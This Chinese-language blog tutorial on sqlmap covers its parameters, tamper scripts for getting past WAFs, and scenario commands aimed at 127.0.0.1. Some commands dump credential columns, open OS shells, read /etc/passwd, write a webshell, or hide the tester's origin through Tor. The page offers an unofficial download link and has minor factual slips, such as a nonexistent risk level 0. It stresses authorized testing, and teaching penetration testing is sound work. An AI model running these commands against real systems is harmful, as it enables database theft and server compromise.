Sqlmap 工具保姆级使用教程

Sqlmap 工具完全使用教程

免责声明:本教程仅供合法授权的安全测试和学习研究使用。未经授权对目标系统进行 SQL 注入测试属于违法行为,可能面临法律责任。请严格遵守《中华人民共和国网络安全法》及相关法律法规。


一、SQLMap 简介

SQLMap 是一款开源的自动化 SQL 注入检测与利用工具,由 Python 编写,支持多种数据库系统(MySQL、Oracle、SQL Server、PostgreSQL、SQLite 等)。它能够自动探测目标 URL 中的 SQL 注入漏洞,并利用漏洞枚举数据库信息、读取文件、执行系统命令等。

核心特性

特性 说明
全自动检测 自动识别注入点及注入类型
多数据库支持 MySQL、Oracle、MSSQL、PostgreSQL、SQLite 等
多注入技术 布尔盲注、时间盲注、报错注入、联合查询、堆叠查询
数据库指纹识别 自动识别目标 DBMS 类型及版本
WAF 绕过 内置 60+ tamper 脚本,绕过常见 WAF 防护
权限提升 支持 UDF 提权、--os-shell 获取系统 shell
多目标支持 支持 Burp 日志、Google Dork、批量扫描

二、安装与更新

安装方式

bash 复制代码
# 方式一:官网下载
https://sqlmap.org/

# 方式二:百度网盘下载
https://pan.baidu.com/s/1WtX-_VdJBNR9ErekAFMdyw?pwd=bua6 提取码: bua6 

三、命令参数大全

3.1 通用参数

参数 功能说明
-h 显示基本帮助信息
-hh 显示高级帮助信息
--version 显示版本号
--update 更新 sqlmap 到最新版本
--batch 使用默认选项,跳过所有交互式提问(非交互模式)
--flush-session 清空当前目标的会话文件,重新开始检测
--fresh-queries 忽略会话文件中的缓存查询结果
--purge-output 安全删除输出目录中的所有内容
--output-dir=DIR 自定义输出目录路径
--save 将当前选项保存到 INI 配置文件中
--sqlmap-shell 进入交互式 sqlmap shell 模式

3.2 目标设置

参数 功能说明 使用场景
-u URL 直接指定目标 URL 单个 GET 请求注入点
-d 直接连接数据库(非 HTTP) 数据库直连
-l BURP_LOG 从 Burp Suite 代理日志解析目标 批量扫描
-r REQUEST_FILE 从文件加载 HTTP 请求 POST/复杂请求注入
-g GOOGLE_DORK 从 Google Dork 结果获取目标 批量发现目标
-c CONFIG_FILE 从 INI 配置文件加载选项 复用配置

3.3 请求设置

参数 功能说明
--data=DATA 指定 POST 请求体数据
--cookie=COOKIE 指定 Cookie 值(需登录的场景)
--cookie-del=DEL 指定 Cookie 分隔符
--random-agent 使用随机 User-Agent 头
-A AGENT 手动指定 User-Agent
--referer=REFERER 指定 HTTP Referer 头
--headers=HEADERS 设置额外的 HTTP 头(如 Content-Type: application/json
--method=METHOD 强制指定 HTTP 方法(GET/POST)
--auth-type=TYPE HTTP 认证类型(Basic、Digest、NTLM)
--auth-cred=CREDS HTTP 认证凭据(用户名:密码
--proxy=PROXY 使用代理(如 http://127.0.0.1:8080
--proxy-cred=CREDS 代理认证凭据
--ignore-proxy 忽略系统代理设置
--delay=SEC 设置请求间隔延迟(秒),避免触发防护
--timeout=SEC 连接超时时间(默认 30 秒)
--retries=NUM 连接超时后重试次数(默认 3 次)
--force-ssl 强制使用 SSL/HTTPS
--eval=CODE 请求前执行 Python 代码(用于动态参数计算)

3.4 注入检测参数

参数 功能说明 推荐值
-p PARAM 指定要测试的参数 -p id
--skip=PARAM 跳过指定参数不测试
--dbms=DBMS 强制指定后端数据库类型 --dbms=mysql
--os=OS 指定目标操作系统 --os=linux
--level=LEVEL 检测级别(1-5,默认 1) 日常 3-4,深度 5
--risk=RISK 风险级别(0-3,默认 1) 日常 1,授权 3
--technique=TECH 指定注入技术类型 默认 BEUSTQ
--prefix=PREFIX 手动指定 payload 前缀 伪静态场景
--suffix=SUFFIX 手动指定 payload 后缀 伪静态场景
Level 与 Risk 级别详解

--level(检测深度):

级别 检测范围 适用场景
1 仅检测 URL 参数 快速初步检测
2 URL 参数 + Cookie 涉及 Cookie 注入
3 URL + Cookie + User-Agent / Referer 深度检测 HTTP 头注入
4 增加 Host 头检测 高级头注入
5 全面检测,包含更多 payload 深度渗透,耗时较长

--risk(风险等级):

级别 风险内容 适用场景
0 无风险测试,不修改数据 生产环境
1 默认,大部分测试安全 日常测试
2 基于时间盲注的 OR 型测试 可能有副作用
3 基于布尔盲注的 OR 型更新 可能修改数据,谨慎使用
注入技术类型(--technique

默认使用全部技术 BEUSTQ

字母 技术 说明
B Boolean-based blind 布尔盲注,通过 True/False 响应判断
E Error-based 报错注入,利用数据库报错信息
U Union query-based 联合查询注入,合并查询结果
S Stacked queries 堆叠查询,执行多条 SQL 语句
T Time-based blind 时间盲注,通过延时判断
Q Inline queries 内联查询注入

3.5 枚举与数据提取参数

参数 功能说明 示例
-a / --all 获取所有信息 完整枚举
-b 获取 DBMS Banner 数据库版本
--current-user 当前数据库用户
--current-db 当前数据库名称
--is-dba 判断当前用户是否为 DBA 权限评估
--users 枚举所有数据库用户
--passwords 枚举用户密码哈希
--privileges 枚举用户权限
--roles 枚举用户角色
--dbs 枚举所有数据库
--tables 枚举数据库所有表
--columns 枚举表的所有列
--schema 枚举数据库架构
--count 统计表的行数
--dump 导出指定表的全部数据
--dump-all 导出所有数据库的全部数据 ⚠️ 极度危险
-D DB 指定目标数据库 -D security
-T TABLE 指定目标表 -T users
-C COL 指定目标列 -C "username,password"
--start=N 导出数据起始行 分批导出
--stop=N 导出数据结束行 分批导出
--hex 使用 HEX 编码导出数据 二进制数据
--exclude-sysdbs 排除系统数据库 只看业务数据

3.6 操作系统访问参数

参数 功能说明 前提条件
--os-cmd=CMD 执行单条操作系统命令 DBA 权限
--os-shell 获取交互式操作系统 shell DBA 权限
--os-pwn 获取 OOB shell / Meterpreter / VNC DBA + Metasploit
--os-smbrelay 一键获取 OOB shell SMB 配置
--os-bof 存储过程缓冲区溢出 MSSQL 特定场景
--os-esc 数据库进程用户权限提升 DBA 权限
--msf-path=PATH 指定 Metasploit 安装路径 联动 MSF

3.7 文件系统访问参数

参数 功能说明
--file-read=RFILE 从目标服务器读取文件
--file-write=LFILE 向目标服务器写入本地文件
--file-dest=RFILE 指定写入到目标服务器的路径

3.8 通用杂项参数

参数 功能说明
-v VERBOSITY 详细输出等级(0-6,默认 1)
-f 获取 DBMS 版本指纹信息
--identify-waf 检测目标是否部署 WAF
--tamper=TAMPER 使用 tamper 脚本绕过 WAF
--mobile 模拟移动端 User-Agent
--wizard 新手向导模式(交互式引导)
--threads=N 并发线程数(默认 1)
-o 开启所有优化开关
--predict-output 预测输出(加速检索)
--keep-alive 使用持久 HTTP 连接
详细输出等级(-v
等级 显示内容
0 仅显示 Python 错误和重要信息
1 显示信息及警告(默认)
2 显示调试信息
3 显示注入 payload
4 显示 HTTP 请求头
5 显示 HTTP 响应头
6 显示 HTTP 响应内容(完整页面)

四、实战使用场景

场景 1:GET 请求注入(最基础)

bash 复制代码
# 检测 URL 参数是否存在注入
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch

# 检测并获取所有数据库名
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch --dbs

# 获取指定数据库的表
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp --tables

# 获取指定表的列
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp -T users --columns

# 导出指定列的数据
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp -T users -C "username,password" --dump

使用场景:URL 参数直接拼接 SQL 语句的页面(新闻详情、商品详情等)。


场景 2:POST 请求注入

bash 复制代码
# 方式一:使用 --data 指定 POST 数据
python sqlmap.py -u "http://127.0.0.1/index.php" --data="username=admin&password=123" --batch

# 方式二:从文件加载请求(推荐)
# 1. 先在 Burp Suite 中抓取请求并保存为 request.txt
python sqlmap.py -r request.txt --batch

# 3. 指定测试参数
python sqlmap.py -r request.txt -p username --batch

使用场景:登录表单、搜索功能、评论提交等 POST 请求场景。

request.txt 文件格式

复制代码
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=123456

场景 3:Cookie 注入

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1; session=abc123" --batch --level=2

⚠️ Cookie 注入需要 --level 至少为 2,否则 sqlmap 不会检测 Cookie 参数。

使用场景:当注入点在 HTTP Cookie 中(如用户 ID、Session ID 等直接拼入 SQL)。


场景 4:HTTP 头注入(User-Agent / Referer / X-Forwarded-For)

bash 复制代码
# User-Agent 注入
python sqlmap.py -u "http://127.0.0.1/index.php" --level=3 -p User-Agent --batch

# X-Forwarded-For 注入
python sqlmap.py -u "http://127.0.0.1/index.php" --headers="X-Forwarded-For: 1*" --batch

⚠️ HTTP 头注入需要 --level 至少为 3。

使用场景:服务器将客户端 IP(X-Forwarded-For)、User-Agent 等记录到数据库的场景(如日志系统、访问统计)。


场景 5:JSON / API 接口注入

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" \
  --data='{"id": 1, "name": "test"}' \
  --headers="Content-Type: application/json" \
  --batch

使用场景:前后端分离应用、RESTful API、移动端接口。


场景 6:伪静态 URL 注入

bash 复制代码
# 使用星号 * 标记注入点
python sqlmap.py -u "http://127.0.0.1/index.php" --batch

# 手动指定前后缀(适用于复杂伪静态)
python sqlmap.py -u "http://127.0.0.1/index.php" --prefix="') " --suffix=" -- " -p id --batch

使用场景 :URL 中的路径参数被拼入 SQL(如 /article/{id}.html)。


场景 7:需登录认证的注入

bash 复制代码
# 方式一:直接提供 Cookie
python sqlmap.py -u "http://127.0.0.1/index.php" \
  --cookie="PHPSESSID=abc123; user=admin" \
  --batch

# 方式二:从 Burp 请求文件加载(自动携带所有认证信息)
python sqlmap.py -r authenticated_request.txt --batch

使用场景:需要登录后才能访问的页面存在注入漏洞(后台管理系统)。


场景 8:通过 Burp Suite 批量扫描

bash 复制代码
# 从 Burp Suite 代理日志文件批量检测
python sqlmap.py -l burp_proxy.log --batch --level=3 --risk=1

使用场景:渗透测试中对整个目标站点进行批量 SQL 注入检测。


场景 9:使用代理隐匿身份

bash 复制代码
# 使用 HTTP 代理
python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="http://127.0.0.1:8080" --batch

# 使用 SOCKS5 代理(如 Tor)
python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="socks5://127.0.0.1:9050" --batch

# 使用带认证的代理
python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="http://proxy.example.com:8080" --proxy-cred="user:pass" --batch

使用场景:测试过程中需要隐藏真实 IP 地址。


场景 10:绕过 WAF 防护

第一步:识别 WAF
bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" --identify-waf --batch
第二步:使用 tamper 脚本绕过
bash 复制代码
# 单个 tamper 脚本
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment" --batch

# 组合多个 tamper 脚本
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment,randomcase,chardoubleencode" --batch

# 使用分块传输绕过
python sqlmap.py -u "http://127.0.0.1/index.php" --chunked --batch

使用场景:目标站点部署了 WAF/IPS/IDS 防护设备。


场景 11:时间盲注(无回显场景)

bash 复制代码
# 强制使用时间盲注技术
python sqlmap.py -u "http://127.0.0.1/index.php" --technique=T --batch

# 调整延迟时间(默认 5 秒)
python sqlmap.py -u "http://127.0.0.1/index.php" --technique=T --time-sec=10 --batch

使用场景:注入点没有回显(不返回查询结果),也没有报错信息,只能通过延时判断。


场景 12:操作系统命令执行

bash 复制代码
# 执行单条系统命令
python sqlmap.py -u "http://127.0.0.1/index.php" --os-cmd="whoami" --batch

# 获取交互式 Shell
python sqlmap.py -u "http://127.0.0.1/index.php" --os-shell --batch

# 读取服务器文件
python sqlmap.py -u "http://127.0.0.1/index.php" --file-read="/etc/passwd" --batch

# 向服务器写入文件(如 Webshell)
python sqlmap.py -u "http://127.0.0.1/index.php" --file-write="shell.php" --file-dest="/var/www/html/shell.php" --batch

⚠️ 需要 DBA 权限,且仅在合法授权测试中使用。

使用场景:已获取高权限注入,需要进一步渗透获取系统权限。


场景 13:二阶注入(二次注入)

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" --forms --second-url="http://127.0.0.1/index.php" --batch

使用场景:恶意数据先注册/存储,在另一个页面被拼接执行 SQL。


场景 14:动态参数计算(如 MD5 签名)

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" \
  --data="id=1&sign=SIGN_PLACEHOLDER&time=TIMESTAMP" \
  --eval="import hashlib,time;sign=hashlib.md5(('id=1&time='+str(int(time.time()))+'secret_key').encode()).hexdigest()" \
  -p id --batch

使用场景:API 请求中包含动态签名或时间戳参数。


场景 15:从 Google Dork 批量发现目标

bash 复制代码
python sqlmap.py -g "inurl:\".php?id=\" site:127.0.0.1" --batch --level=2

使用场景:信息收集阶段批量发现潜在注入点。


五、Tamper 脚本详解(WAF 绕过)

Tamper 脚本是 SQLMap 的核心 WAF 绕过机制。脚本位于 /usr/share/sqlmap/tamper/ 目录(Kali Linux)。

5.1 编码类

脚本 功能说明
base64encode.py 对 payload 进行 Base64 编码
charencode.py 对 payload 进行一次 URL 编码
chardoubleencode.py 对 payload 进行双重 URL 编码
charunicodeencode.py URL-UNICODE 编码(适用于 ASP/ASP.NET)
htmlencode.py 对特殊字符进行 HTML 实体编码
overlongutf8.py 使用超长 UTF-8 编码
percentencode.py 对指定字符进行百分比编码

5.2 空格替换类

脚本 功能说明
space2comment.py 空格 → /**/(最常用)
space2plus.py 空格 → +
space2randomblank.py 空格 → 随机空白符(\t\n\r等)
space2dash.py 空格 → -- 注释符
space2hash.py 空格 → # 注释符 + 换行
space2mssqlblank.py 空格 → 特定空白符(适用于 MSSQL)

5.3 关键字与符号替换类

脚本 功能说明
randomcase.py SQL 关键字随机大小写(SELECTSeLeCt
equaltolike.py =LIKE(绕过等于号过滤)
between.py > <BETWEEN
greatest.py >GREATEST()
modsecurityversioned.py MySQL 版本注释绕过 ModSecurity
unionalltounion.py UNION ALLUNION
apostrophemask.py 单引号 → UTF-8 等效编码
singlequotes.py 单引号 → 双引号

5.4 特定 WAF 绕过类

脚本 功能说明
luanginx.py 绕过 Lua-Nginx WAF
varnish.py 添加 X-originating-IP 头绕过 Varnish
xforwardedfor.py 伪造 X-Forwarded-For
bluecoat.py 替换空格和等号(适用于 Bluecoat)
modsecurityzeroversioned.py 绕过 ModSecurity(空版本注释)
charencode.py + randomcase.py 组合绕过简单关键字过滤

5.5 Tamper 脚本使用示例

bash 复制代码
# 绕过关键字大小写过滤
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="randomcase" --batch

# 绕过空格过滤
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment" --batch

# 多脚本组合(编码 + 大小写 + 空格替换)
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment,chardoubleencode,randomcase" --batch

六、高级技巧与优化

6.1 星号 * 标记注入点

当你明确知道注入点位置时,用 * 精确标记,避免浪费时间检测其他参数:

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" --batch

6.2 分批导出大数据

避免一次性导出大量数据触发告警或超时:

bash 复制代码
# 导出第 1000-2000 行
python sqlmap.py -u "http://127.0.0.1/index.php" --dump -D webapp -T users --start=1000 --stop=2000 --batch

6.3 正则过滤提取

仅提取符合特定规则的数据:

bash 复制代码
# 仅提取 admin 相关账号
python sqlmap.py -u "http://127.0.0.1/index.php" --dump -D webapp -T users -C email --regex=".*@admin\..*" --batch

6.4 CSRF Token 自动处理

目标表单包含 CSRF Token 时:

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" --csrf-token="csrf_token_name" --csrf-url="http://127.0.0.1/index.php" --batch

6.5 多线程加速

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" --threads=5 --batch

注意:线程过多可能压垮目标服务器或触发 WAF。

6.6 二进制数据 HEX 导出

当数据库字段包含二进制数据(如密码哈希、文件内容):

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/index.php" --dump -T users -C password --hex --batch

七、SQLMap + Burp Suite 联合工作流

这是实战中最常用的工作模式:

复制代码
┌──────────────┐     ┌──────────────┐     ┌──────────────┐
│  浏览器访问    │────▶│ Burp Suite   │────▶│  SQLMap      │
│  目标网站     │     │ 抓取请求     │     │  加载请求     │
│              │◀────│ 保存为文件    │◀────│ 自动检测利用  │
└──────────────┘     └──────────────┘     └──────────────┘

操作步骤

  1. 配置浏览器代理 :设置浏览器通过 Burp Suite(默认 127.0.0.1:8080
  2. 正常操作目标站点:登录、浏览、搜索等,让 Burp 记录所有请求
  3. 保存请求文件 :在 Burp 中右键目标请求 → Save to file → request.txt
  4. 用 SQLMap 加载检测
bash 复制代码
python sqlmap.py -r request.txt --batch --level=3 --risk=1
  1. 确认注入后深度利用
bash 复制代码
python sqlmap.py -r request.txt --batch -D target_db -T users -C "username,password,email" --dump

八、常见问题排查

问题 原因 解决方案
检测不到注入 level 太低 提升 --level 到 3-5
被 WAF 拦截 触发安全规则 使用 --tamper + --identify-waf
请求超时 网络延迟 / WAF 增加 --timeout / --delay
POST 注入无效 数据未正确传递 检查 --data 格式,或用 -r 加载文件
时间盲注太慢 默认延迟 5 秒 使用 --technique=T + --threads 优化
找不到数据库 权限不足 使用 --is-dba 确认权限
报错注入失败 不支持报错回显 切换 --technique=BE 使用盲注
Cookie 注入漏测 level 太低 确保 --level>=2
伪静态检测不到 参数识别失败 * 标记注入点或加 --prefix/--suffix

九、输出结果说明

SQLMap 检测完成后会输出注入类型和信息,关键信息解读:

复制代码
[INFO] the back-end DBMS is MySQL >= 5.6
back-end DBMS: MySQL >= 5.6

[INFO] fetched data logged to text files under '/root/.sqlmap/output/127.0.0.1'

结果文件位置~/.sqlmap/output/{目标地址}/

文件 内容
log 检测日志
session.sqlite 会话数据
{db}/{table}.csv 导出的数据(CSV 格式)

十、安全红线与合规提醒

⚠️ 以下行为可能触犯法律,务必在合法授权范围内使用

❌ 严禁行为 ✅ 正确做法
未经授权扫描他人网站 仅对自己拥有或获授权的系统测试
使用 --dump-all 大规模拖库 仅提取必要数据用于验证漏洞
在生产环境使用 --os-shell 在隔离的测试环境中验证
利用发现的漏洞进行破坏 及时报告漏洞给所有者
使用工具进行 DDoS 攻击 控制请求速率,避免影响服务

合法使用场景

  • 本地搭建靶场练习(如 sqli-labs、DVWA)
  • 企业内部授权渗透测试
  • CTF 安全竞赛
  • 漏洞众测平台授权项目
  • 护网行动 / 攻防演练(在授权范围内)

十一、推荐靶场练习

靶场 说明 地址
sqli-labs SQL 注入经典靶场,65 关 GitHub 搜索 sqli-labs
DVWA 综合漏洞练习平台 本地搭建
SQLi-labs 分等级注入练习 GitHub 开源
PortSwigger Web Academy 在线交互式 SQL 注入课程 portswigger.net
HackTheBox 在线渗透挑战平台 hackthebox.com

十二、命令速查表

快速检测

bash 复制代码
# 快速检测 GET 注入
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch

# 快速检测 POST 注入
python sqlmap.py -u "http://127.0.0.1/index.php" --data="param=value" --batch

# 从 Burp 文件检测
python sqlmap.py -r request.txt --batch

信息枚举

bash 复制代码
# 获取数据库 → 表 → 列 → 数据 的完整流程
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch --dbs                                              # 1. 所有数据库
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D dbname --tables                                 # 2. 指定库的表
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D dbname -T tblname --columns                     # 3. 指定表的列
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D dbname -T tblname -C "col1,col2" --dump         # 4. 导出数据

WAF 绕过

bash 复制代码
# 识别 WAF + 绕过
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --identify-waf --tamper="space2comment,randomcase" --batch

提权与命令执行

bash 复制代码
# 获取 OS Shell
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --os-shell --batch

# 读取文件
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --file-read="/etc/passwd" --batch

相关推荐
weixin_586061462 小时前
Quill 编辑器光标跳转到顶部的解决方案
jvm·数据库·python
2301_782659182 小时前
Go 中使用 go-json-rest 时调用 Write 方法的正确方式
jvm·数据库·python
DaqunChen2 小时前
Redis如何清理过期排行数据_利用ZREMRANGEBYSCORE移除ZSet历史记录
jvm·数据库·python
m0_377618232 小时前
Angular 响应式导航栏:纯 Angular 实现移动端菜单折叠与展开
jvm·数据库·python
李松桃2 小时前
音乐爬虫 - Python
开发语言·python·python实操
2401_897190552 小时前
mysql数据库性能基准测试工具推荐_使用sysbench进行压力测试
jvm·数据库·python
Irene19912 小时前
Python 学习途径,从熟悉的 JavaScript 过渡到 Python
javascript·python
迷藏4942 小时前
**RISC-V生态下的嵌入式开发新范式:从指令集到自定义外设的全流程实战**在当前国产化
java·python·risc-v
F_windy2 小时前
大模型应用开发学习路径<JAVA转型赋能>
python·深度学习·数据分析